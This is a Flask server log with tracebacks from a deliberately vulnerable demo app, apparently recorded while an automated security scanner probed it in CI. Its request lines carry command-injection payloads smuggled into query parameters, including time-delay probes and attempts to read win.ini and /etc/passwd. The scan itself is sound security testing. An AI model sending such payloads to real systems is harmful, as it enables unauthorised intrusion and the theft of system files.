  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html";sleep 15;"'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%3Bsleep+15%3B%22 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bsleep+%7B0%7D%3B HTTP/1.1" 200 -
[2017-10-18 08:05:15,697] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html&sleep {0}&'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%26sleep+%7B0%7D%26 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
[2017-10-18 08:05:15,701] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;sleep {0};'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bsleep+%7B0%7D%3B HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
[2017-10-18 08:05:15,707] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html&type %SYSTEMROOT%\\win.ini'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%26type+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 200 -
[2017-10-18 08:05:15,715] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html|type %SYSTEMROOT%\\win.ini'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
[2017-10-18 08:05:15,721] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html"&type %SYSTEMROOT%\\win.ini&"'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%26type+%25SYSTEMROOT%25%5Cwin.ini%26%22 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 200 -
[2017-10-18 08:05:15,727] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html"|type %SYSTEMROOT%\\win.ini'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 200 -
[2017-10-18 08:05:15,734] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html'&type %SYSTEMROOT%\\win.ini&'"
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%27%26type+%25SYSTEMROOT%25%5Cwin.ini%26%27 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%26timeout+%2FT+15 HTTP/1.1" 200 -
[2017-10-18 08:05:15,742] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html'|type %SYSTEMROOT%\\win.ini"
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%27%7Ctype+%25SYSTEMROOT%25%5Cwin.ini HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
[2017-10-18 08:05:15,747] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html&timeout T 15'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%26timeout+%2FT+15 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%26timeout+%2FT+15%26%22 HTTP/1.1" 200 -
[2017-10-18 08:05:15,755] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html|timeout T 15'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%7Ctimeout+%2FT+15 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%7Ctimeout+%2FT+15 HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 200 -
[2017-10-18 08:05:15,761] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html"&timeout T 15&"'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%26timeout+%2FT+15%26%22 HTTP/1.1" 500 -
[2017-10-18 08:05:15,765] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html"|timeout T 15'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%7Ctimeout+%2FT+15 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bget-help HTTP/1.1" 200 -
[2017-10-18 08:05:15,775] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html&timeout T {0}&'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%26timeout+%2FT+%7B0%7D%26 HTTP/1.1" 500 -
[2017-10-18 08:05:15,780] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html|timeout T {0}'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%7Ctimeout+%2FT+%7B0%7D HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%3Bget-help HTTP/1.1" 200 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%27%3Bget-help HTTP/1.1" 200 -
[2017-10-18 08:05:15,786] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;get-help'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bget-help HTTP/1.1" 500 -
[2017-10-18 08:05:15,789] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html";get-help'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%3Bget-help HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bget-help+%23 HTTP/1.1" 200 -
[2017-10-18 08:05:15,793] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u"xss2.html';get-help"
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%27%3Bget-help HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
[2017-10-18 08:05:15,798] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;get-help #'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bget-help+%23 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%22%3Bstart-sleep+-s+15 HTTP/1.1" 200 -
[2017-10-18 08:05:15,803] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;start-sleep -s 15'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bstart-sleep+-s+15 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 200 -
[2017-10-18 08:05:15,807] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html";start-sleep -s 15'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%22%3Bstart-sleep+-s+15 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /?query=query%3Bstart-sleep+-s+15+%23 HTTP/1.1" 200 -
[2017-10-18 08:05:15,812] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;start-sleep -s {0}'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bstart-sleep+-s+%7B0%7D HTTP/1.1" 500 -
[2017-10-18 08:05:15,819] ERROR in app: Exception on /bonus [GET]
Traceback (most recent call last):
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1982, in wsgi_app
    response = self.full_dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1614, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1517, in handle_user_exception
    reraise(exc_type, exc_value, tb)
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1612, in full_dispatch_request
    rv = self.dispatch_request()
  File "/home/travis/virtualenv/python2.7.13/lib/python2.7/site-packages/flask/app.py", line 1598, in dispatch_request
    return self.view_functions[rule.endpoint](**req.view_args)
  File "/home/travis/build/lokori/docker-zap-demo/flask-vuln.py", line 24, in bonus
    with open(fname, 'r') as myfile:
IOError: [Errno 2] No such file or directory: u'xss2.html;start-sleep -s 15 #'
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /bonus?name=xss2.html%3Bstart-sleep+-s+15+%23 HTTP/1.1" 500 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%26cat+%2Fetc%2Fpasswd%26 HTTP/1.1" 302 -
172.17.0.2 - - [18/Oct/2017 08:05:15] "GET /mystery?name=http%3A%2F%2Flocalhost%3A5000%3Bcat+%2Fetc%2Fpasswd%3B HTTP/1.1" 302 -
